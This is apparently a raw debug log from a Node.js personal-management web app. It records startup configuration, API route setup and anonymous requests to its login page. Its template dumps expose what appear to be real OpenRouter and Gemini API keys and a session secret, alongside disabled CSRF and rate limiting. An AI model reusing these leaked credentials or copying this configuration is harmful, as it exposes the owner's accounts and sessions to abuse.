2026-06-12T23:10:13.547Z server-connect:app options: { provider: 'security' }
2026-06-12T23:10:13.547Z server-connect:auth No login cookie found
2026-06-12T23:10:13.547Z server-connect:output identity: false
2026-06-12T23:10:13.547Z server-connect:app Executing action step restrict
2026-06-12T23:10:13.547Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T23:10:13.548Z server-connect:output restrict: undefined
2026-06-12T23:10:13.695Z server-connect:router Serving templateView /login
2026-06-12T23:10:13.695Z server-connect:app Executing action step identify
2026-06-12T23:10:13.695Z server-connect:app options: { provider: 'security' }
2026-06-12T23:10:13.695Z server-connect:auth No login cookie found
2026-06-12T23:10:13.695Z server-connect:output identity: false
2026-06-12T23:10:13.695Z server-connect:router Render template layouts/authentication
2026-06-12T23:10:13.696Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '147.93.155.10',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T23:10:13.694Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '147.93.155.10',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '147.93.155.10',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-12T23:10:13.706Z server-connect:router Serving templateView /login
2026-06-12T23:10:13.706Z server-connect:app Executing action step identify
2026-06-12T23:10:13.707Z server-connect:app options: { provider: 'security' }
2026-06-12T23:10:13.707Z server-connect:auth No login cookie found
2026-06-12T23:10:13.707Z server-connect:output identity: false
2026-06-12T23:10:13.707Z server-connect:router Render template layouts/authentication
2026-06-12T23:10:13.707Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '147.93.155.10',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T23:10:13.705Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '147.93.155.10',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '147.93.155.10',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-12T23:25:13.307Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-12T23:25:13.488Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-12T23:25:13.566Z server-connect:setup:upload Upload middleware configured.
2026-06-12T23:25:13.566Z server-connect:secure CSRF Protection initialized
2026-06-12T23:25:13.569Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-12T23:25:13.576Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-12T23:25:13.577Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-12T23:25:13.577Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-12T23:25:13.578Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-12T23:25:13.579Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-12T23:25:13.579Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-12T23:25:13.580Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-12T23:25:13.583Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-12T23:25:13.583Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-12T23:25:13.584Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-12T23:25:13.584Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-12T23:25:13.584Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-12T23:25:13.585Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-12T23:25:13.585Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-12T23:25:13.586Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-12T23:25:13.586Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-12T23:25:13.586Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-12T23:25:13.586Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-12T23:25:13.587Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-12T23:25:13.587Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-12T23:25:13.588Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-12T23:25:13.588Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-12T23:25:13.588Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-12T23:25:13.588Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-12T23:25:13.589Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-12T23:25:13.589Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-12T23:25:13.589Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-12T23:25:13.589Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-12T23:25:13.590Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-12T23:25:13.590Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-12T23:25:13.590Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-12T23:25:13.590Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-12T23:25:13.590Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-12T23:25:13.591Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-12T23:25:13.591Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-12T23:25:13.591Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-12T23:25:13.591Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-12T23:25:13.692Z server-connect:router Serving templateView /
2026-06-12T23:25:13.694Z server-connect:app Executing action step identify
2026-06-12T23:25:13.695Z server-connect:app options: { provider: 'security' }
2026-06-12T23:25:13.696Z server-connect:auth No login cookie found
2026-06-12T23:25:13.696Z server-connect:output identity: false
2026-06-12T23:25:13.696Z server-connect:app Executing action step restrict
2026-06-12T23:25:13.696Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T23:25:13.701Z server-connect:output restrict: undefined
2026-06-12T23:25:14.161Z server-connect:router Serving templateView /login
2026-06-12T23:25:14.162Z server-connect:app Executing action step identify
2026-06-12T23:25:14.162Z server-connect:app options: { provider: 'security' }
2026-06-12T23:25:14.162Z server-connect:auth No login cookie found
2026-06-12T23:25:14.162Z server-connect:output identity: false
2026-06-12T23:25:14.162Z server-connect:router Render template layouts/authentication
2026-06-12T23:25:14.163Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.9',
    'accept-encoding': 'gzip,br',
    'upgrade-insecure-requests': '1',
    'sec-fetch-mode': 'cors',
    'x-forwarded-for': '199.247.6.25',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T23:25:14.160Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '199.247.6.25',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_X_FORWARDED-FOR': '199.247.6.25',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T00:19:16.646Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T00:19:16.825Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T00:19:16.907Z server-connect:setup:upload Upload middleware configured.
2026-06-13T00:19:16.908Z server-connect:secure CSRF Protection initialized
2026-06-13T00:19:16.910Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T00:19:16.911Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T00:19:16.912Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T00:19:16.913Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T00:19:16.914Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T00:19:16.915Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T00:19:16.918Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T00:19:16.919Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T00:19:16.920Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T00:19:16.920Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T00:19:16.920Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T00:19:16.920Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T00:19:16.921Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T00:19:16.921Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T00:19:16.921Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T00:19:16.922Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T00:19:16.922Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T00:19:16.922Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T00:19:16.923Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T00:19:16.923Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T00:19:16.923Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T00:19:16.924Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T00:19:16.924Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T00:19:16.925Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T00:19:16.925Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T00:19:16.926Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T00:19:16.926Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T00:19:16.927Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T00:19:16.927Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T00:19:16.927Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T00:19:16.928Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T00:19:16.928Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T00:19:16.928Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T00:19:16.929Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T00:19:16.929Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T00:19:16.930Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T00:19:16.930Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T00:19:16.930Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T00:19:17.036Z server-connect:router Serving templateView /
2026-06-13T00:19:17.049Z server-connect:app Executing action step identify
2026-06-13T00:19:17.049Z server-connect:app options: { provider: 'security' }
2026-06-13T00:19:17.051Z server-connect:auth No login cookie found
2026-06-13T00:19:17.051Z server-connect:output identity: false
2026-06-13T00:19:17.051Z server-connect:app Executing action step restrict
2026-06-13T00:19:17.051Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T00:19:17.055Z server-connect:output restrict: undefined
2026-06-13T00:19:17.174Z server-connect:router Serving templateView /login
2026-06-13T00:19:17.175Z server-connect:app Executing action step identify
2026-06-13T00:19:17.175Z server-connect:app options: { provider: 'security' }
2026-06-13T00:19:17.175Z server-connect:auth No login cookie found
2026-06-13T00:19:17.175Z server-connect:output identity: false
2026-06-13T00:19:17.175Z server-connect:router Render template layouts/authentication
2026-06-13T00:19:17.176Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '161.97.140.206',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-14T00:19:17.173Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '161.97.140.206',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '161.97.140.206',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T00:26:01.322Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T00:26:01.493Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T00:26:01.579Z server-connect:setup:upload Upload middleware configured.
2026-06-13T00:26:01.579Z server-connect:secure CSRF Protection initialized
2026-06-13T00:26:01.581Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T00:26:01.583Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T00:26:01.583Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T00:26:01.584Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T00:26:01.584Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T00:26:01.585Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T00:26:01.586Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T00:26:01.587Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T00:26:01.590Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T00:26:01.590Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T00:26:01.591Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T00:26:01.592Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T00:26:01.592Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T00:26:01.593Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T00:26:01.593Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T00:26:01.594Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T00:26:01.595Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T00:26:01.595Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T00:26:01.596Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T00:26:01.596Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T00:26:01.597Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T00:26:01.598Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T00:26:01.598Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T00:26:01.599Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T00:26:01.599Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T00:26:01.599Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
